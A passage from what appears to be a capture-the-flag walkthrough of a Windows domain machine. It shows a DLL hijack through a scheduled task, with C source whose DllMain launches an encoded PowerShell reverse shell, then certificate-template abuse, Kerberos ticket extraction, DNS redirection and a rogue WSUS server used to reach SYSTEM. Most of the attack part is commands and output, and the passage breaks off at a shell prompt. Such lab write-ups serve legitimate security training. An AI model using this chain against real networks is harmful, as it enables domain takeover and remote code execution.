         &lt;/span&gt;&lt;span class="n"&gt;CREATOR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;OWNER:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;OI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;CI&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;IO&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;C:\Share&lt;/code&gt; grants &lt;code&gt;BUILTIN\Users&lt;/code&gt; the &lt;code&gt;(WD)&lt;/code&gt; (write data) permission — meaning any authenticated user can write files to this location.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 Source Code Analysis
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;UpdateMonitor.exe&lt;/code&gt; was downloaded locally for analysis:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file UpdateMonitor.exe
UpdateMonitor.exe: PE32 executable &lt;span class="k"&gt;for &lt;/span&gt;MS Windows 6.00 &lt;span class="o"&gt;(&lt;/span&gt;console&lt;span class="o"&gt;)&lt;/span&gt;, Intel i386 Mono/.Net assembly, 3 sections
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a .NET assembly. Although the host OS is x64, the binary itself is x86 — meaning any native DLL used against it must also be compiled as x86.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ilspycmd UpdateMonitor.exe &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; output.cs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decompilation revealed the program:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Looks for &lt;code&gt;C:\ProgramData\UpdateMonitor\Settings_Update.zip&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Extracts it to &lt;code&gt;C:\Program Files\UpdateMonitor\bin\&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Loads &lt;code&gt;settings_update.dll&lt;/code&gt; from the extracted contents and calls its &lt;code&gt;PreUpdateCheck&lt;/code&gt; function&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Key takeaway:&lt;/strong&gt; The scheduled task runs as &lt;code&gt;Administrator&lt;/code&gt; and blindly extracts a ZIP file from a user-writable directory without validating its contents. This means an attacker-supplied DLL, if named and packaged correctly, will be loaded and executed with elevated privileges.&lt;/p&gt;

&lt;p&gt;Requirements for the exploit:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DLL filename must be exactly &lt;code&gt;settings_update.dll&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;It must be zipped as &lt;code&gt;Settings_Update.zip&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The ZIP must be placed at &lt;code&gt;C:\ProgramData\UpdateMonitor\&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4. Exploitation — Local Privilege Escalation to jaylee.clifton
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Generate a PowerShell reverse shell payload&lt;/strong&gt; (e.g. via &lt;a href="https://www.revshells.com/" rel="noopener noreferrer"&gt;revshells.com&lt;/a&gt;, Windows / PowerShell #3 (Base64), pointing LHOST/LPORT at the attacking box).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2 — Create the malicious DLL&lt;/strong&gt; (&lt;code&gt;settings_update.c&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;WINAPI&lt;/span&gt; &lt;span class="nf"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HINSTANCE&lt;/span&gt; &lt;span class="n"&gt;hinstDLL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;fdwReason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="n"&gt;lpReserved&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fdwReason&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"powershell -nop -w hidden -e &amp;lt;BASE64_PAYLOAD&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Compile as x86&lt;/strong&gt; (matching the target &lt;code&gt;.NET&lt;/code&gt; binary's architecture):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;i686-w64-mingw32-gcc settings_update.c &lt;span class="nt"&gt;-shared&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; settings_update.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4 — Package with the required filename:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;zip Settings_Update.zip settings_update.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 5 — Start a listener and upload the ZIP&lt;/strong&gt; via the &lt;code&gt;msa_health$&lt;/code&gt; Evil-WinRM shell into &lt;code&gt;C:\ProgramData\UpdateMonitor&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;upload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/path/to/Settings_Update.zip&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within a few minutes, the scheduled task triggers and a callback is received:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 4444 listen
&lt;span class="o"&gt;[&lt;/span&gt;+] Listening &lt;span class="k"&gt;for &lt;/span&gt;reverse shells on 0.0.0.0:4444
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;New Reverse Shell] &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; DC01 &amp;lt;MACHINE-IP&amp;gt; Microsoft_Windows_Server_2019_Standard-x64-based_PC 👤 logging&lt;span class="se"&gt;\j&lt;/span&gt;aylee.clifton Session ID &amp;lt;1&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Interacting with session &lt;span class="o"&gt;[&lt;/span&gt;1]
PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\j&lt;/span&gt;aylee.clifton&lt;span class="se"&gt;\D&lt;/span&gt;esktop&amp;gt; &lt;span class="nb"&gt;dir &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\j&lt;/span&gt;aylee.clifton&lt;span class="se"&gt;\D&lt;/span&gt;esktop

    Directory: C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\j&lt;/span&gt;aylee.clifton&lt;span class="se"&gt;\D&lt;/span&gt;esktop

Mode                LastWriteTime         Length Name
&lt;span class="nt"&gt;----&lt;/span&gt;                &lt;span class="nt"&gt;-------------&lt;/span&gt;         &lt;span class="nt"&gt;------&lt;/span&gt; &lt;span class="nt"&gt;----&lt;/span&gt;
&lt;span class="nt"&gt;-ar---&lt;/span&gt;        4/23/2026   2:03 PM             34 user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag obtained.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="kd"&gt;C&lt;/span&gt;:\Users\jaylee.clifton\Desktop\user.txt
&lt;span class="kd"&gt;HTB&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="kd"&gt;REDACTED&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. Privilege Escalation — WSUS HTTPS MITM
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 WSUS Configuration Discovery
&lt;/h3&gt;

&lt;p&gt;Files retrieved earlier revealed the target is configured to use a staging WSUS server at &lt;code&gt;wsus.logging.htb&lt;/code&gt;. A scheduled task named &lt;code&gt;ForceSync&lt;/code&gt;, running every 120 seconds, forcibly resets Windows Update components and triggers immediate synchronization — this significantly narrows the attack window needed compared to waiting on the default update cycle, but also makes exploitation fast once set up.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 ADCS Template Enumeration
&lt;/h3&gt;

&lt;p&gt;Available certificate templates were enumerated with Certify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Certify.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cas&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/ca:DC01.logging.htb\logging-DC01-CA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/domain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;logging.htb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/ldapserver:DC01.logging.htb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/showAllPermissions&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A custom template, &lt;code&gt;UpdateSrv&lt;/code&gt;, stood out and was enumerated further:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Certify.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/template:UpdateSRV&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key findings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Template Name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;UpdateSrv&lt;/span&gt;
&lt;span class="na"&gt;Schema Version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="na"&gt;msPKI-Certificate-Name-Flag&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/span&gt;
&lt;span class="na"&gt;Authorized Signatures Required&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="na"&gt;EKU&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Server Authentication&lt;/span&gt;
&lt;span class="na"&gt;Enrollment Rights&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="s"&gt;logging\Domain Admins&lt;/span&gt;
    &lt;span class="s"&gt;logging\Enterprise Admins&lt;/span&gt;
    &lt;span class="s"&gt;logging\IT&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analysis:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; is enabled&lt;/strong&gt; — unlike standard templates bound to the AD object's own name, this lets the requester supply an arbitrary subject/hostname.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No manager approval required&lt;/strong&gt; — certificates are issued immediately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IT group enrollment rights&lt;/strong&gt; — &lt;code&gt;jaylee.clifton&lt;/code&gt; is a member of &lt;code&gt;IT&lt;/code&gt;, and is therefore eligible to enroll.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Server Authentication EKU&lt;/strong&gt; — valid for HTTPS/TLS, which is exactly what's needed to impersonate an internal HTTPS service.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Attack decision:&lt;/strong&gt; target &lt;code&gt;wsus.logging.htb&lt;/code&gt; specifically, since WSUS clients run update payloads as SYSTEM, apply updates automatically with no user interaction, and implicitly trust any certificate issued by the domain CA — meaning certificate trust here effectively equals server trust.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Rogue Machine Account
&lt;/h3&gt;

&lt;p&gt;DNS records couldn't be modified directly with the current principal, so a computer account was created (abusing &lt;code&gt;MachineAccountQuota&lt;/code&gt;) to act as an authenticated principal for later LDAP/DNS operations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-addcomputer &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-computer-name&lt;/span&gt; &lt;span class="s1"&gt;'attacker01$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-computer-pass&lt;/span&gt; &lt;span class="s1"&gt;'SuperP@ss!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-hashes&lt;/span&gt; &lt;span class="s1"&gt;':&amp;lt;REDACTED-NT-HASH&amp;gt;'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'logging.htb/msa_health$'&lt;/span&gt;

&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Successfully added machine account attacker01&lt;span class="nv"&gt;$ &lt;/span&gt;with password SuperP@ss!.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Certificate Request
&lt;/h3&gt;

&lt;p&gt;Plaintext authentication as &lt;code&gt;jaylee.clifton&lt;/code&gt; wasn't directly usable due to Kerberos enforcement, so a TGT was extracted from the existing shell session with Rubeus and converted for use with Impacket/Certipy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tgtdeleg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/nowrap&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Action:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Dump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Kerberos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Ticket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="n"&gt;UserName&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;jaylee.clifton&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Domain&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;logging&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;ServiceName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;krbtgt/LOGGING.HTB&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name_canonicalize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pre_authent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;initial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;renewable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;forwardable&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;KeyType&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;aes256_cts_hmac_sha1&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Base64EncodedTicket:&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;BASE64_TICKET&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;BASE64_TICKET&amp;gt;'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ticket.kirbi
impacket-ticketConverter ticket.kirbi jaylee.ccache
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Note: clock skew with the DC needed to be corrected for Kerberos auth to succeed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A certificate was requested using the &lt;code&gt;UpdateSrv&lt;/code&gt; template, supplying &lt;code&gt;wsus.logging.htb&lt;/code&gt; as the subject:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;certipy req &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'jaylee.clifton@logging.htb'&lt;/span&gt; &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-ca&lt;/span&gt; &lt;span class="s1"&gt;'logging-DC01-CA'&lt;/span&gt; &lt;span class="nt"&gt;-template&lt;/span&gt; &lt;span class="s1"&gt;'UpdateSrv'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-upn&lt;/span&gt; &lt;span class="s1"&gt;'wsus.logging.htb'&lt;/span&gt; &lt;span class="nt"&gt;-dns&lt;/span&gt; &lt;span class="s1"&gt;'wsus.logging.htb'&lt;/span&gt; &lt;span class="nt"&gt;-target&lt;/span&gt; dc01.logging.htb

Certipy v5.0.4 - by Oliver Lyak &lt;span class="o"&gt;(&lt;/span&gt;ly4k&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Requesting certificate via RPC
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Successfully requested certificate
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Got certificate with multiple identities
    UPN: &lt;span class="s1"&gt;'wsus.logging.htb'&lt;/span&gt;
    DNS Host Name: &lt;span class="s1"&gt;'wsus.logging.htb'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Saving certificate and private key to &lt;span class="s1"&gt;'wsus.logging.htb_wsus.pfx'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because &lt;code&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; is enabled, the CA does not validate that the requester actually owns the &lt;code&gt;wsus.logging.htb&lt;/code&gt; identity, allowing impersonation of an internal service.&lt;/p&gt;

&lt;p&gt;The public certificate and private key were extracted for use with a rogue HTTPS server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;certipy cert &lt;span class="nt"&gt;-pfx&lt;/span&gt; wsus.logging.htb_wsus.pfx &lt;span class="nt"&gt;-nokey&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; wsus.crt
certipy cert &lt;span class="nt"&gt;-pfx&lt;/span&gt; wsus.logging.htb_wsus.pfx &lt;span class="nt"&gt;-nocert&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; wsus.key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.5 DNS Manipulation
&lt;/h3&gt;

&lt;p&gt;Using the rogue machine account, the DNS record for &lt;code&gt;wsus&lt;/code&gt; was pointed at the attacker's IP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'attacker01$'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'SuperP@ss!'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; logging.htb &lt;span class="nt"&gt;--host&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  add dnsRecord wsus &amp;lt;ATTACKER-IP&amp;gt;

&lt;span class="o"&gt;[&lt;/span&gt;+] wsus.logging.htb has been successfully added
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verified from the &lt;code&gt;jaylee.clifton&lt;/code&gt; shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nslookup wsus
Server:  localhost
Address:  127.0.0.1

Name:    wsus.logging.htb
Address:  &amp;lt;ATTACKER-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.6 Malicious WSUS Server
&lt;/h3&gt;

&lt;p&gt;With DNS redirected and a CA-signed certificate for &lt;code&gt;wsus.logging.htb&lt;/code&gt; in hand, a rogue WSUS server was stood up using a patched version of &lt;a href="https://github.com/GoSecure/pywsus" rel="noopener noreferrer"&gt;pywsus&lt;/a&gt; with HTTPS support added (the upstream project only supports HTTP):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/GoSecure/pywsus
&lt;span class="nb"&gt;cd &lt;/span&gt;pywsus
git fetch origin pull/18/head:pr18
git checkout pr18
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A payload was generated via revshells.com, a listener started, and the rogue WSUS server launched:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rlwrap nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4443
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 pywsus_https.py &lt;span class="nt"&gt;-H&lt;/span&gt; wsus.logging.htb &lt;span class="nt"&gt;-p&lt;/span&gt; 8531 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; PsExec64.exe &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"powershell -nop -w hidden -e &amp;lt;BASE64_PAYLOAD&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cert&lt;/span&gt; wsus.crt &lt;span class="nt"&gt;--key&lt;/span&gt; wsus.key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the &lt;code&gt;ForceSync&lt;/code&gt; task next triggered the client's WSUS sync, the domain controller connected to the rogue server, trusted its certificate, and executed the payload as SYSTEM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rlwrap nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4443
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 4443 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;ATTACKER-IP&amp;gt;] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;] 63262

PS C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\S&lt;/span&gt;oftwareDistribution&lt;span class="se"&gt;\D&lt;/span&gt;ownload&lt;span class="se"&gt;\I&lt;/span&gt;nstall&amp;gt; &lt;span class="nb"&gt;whoami
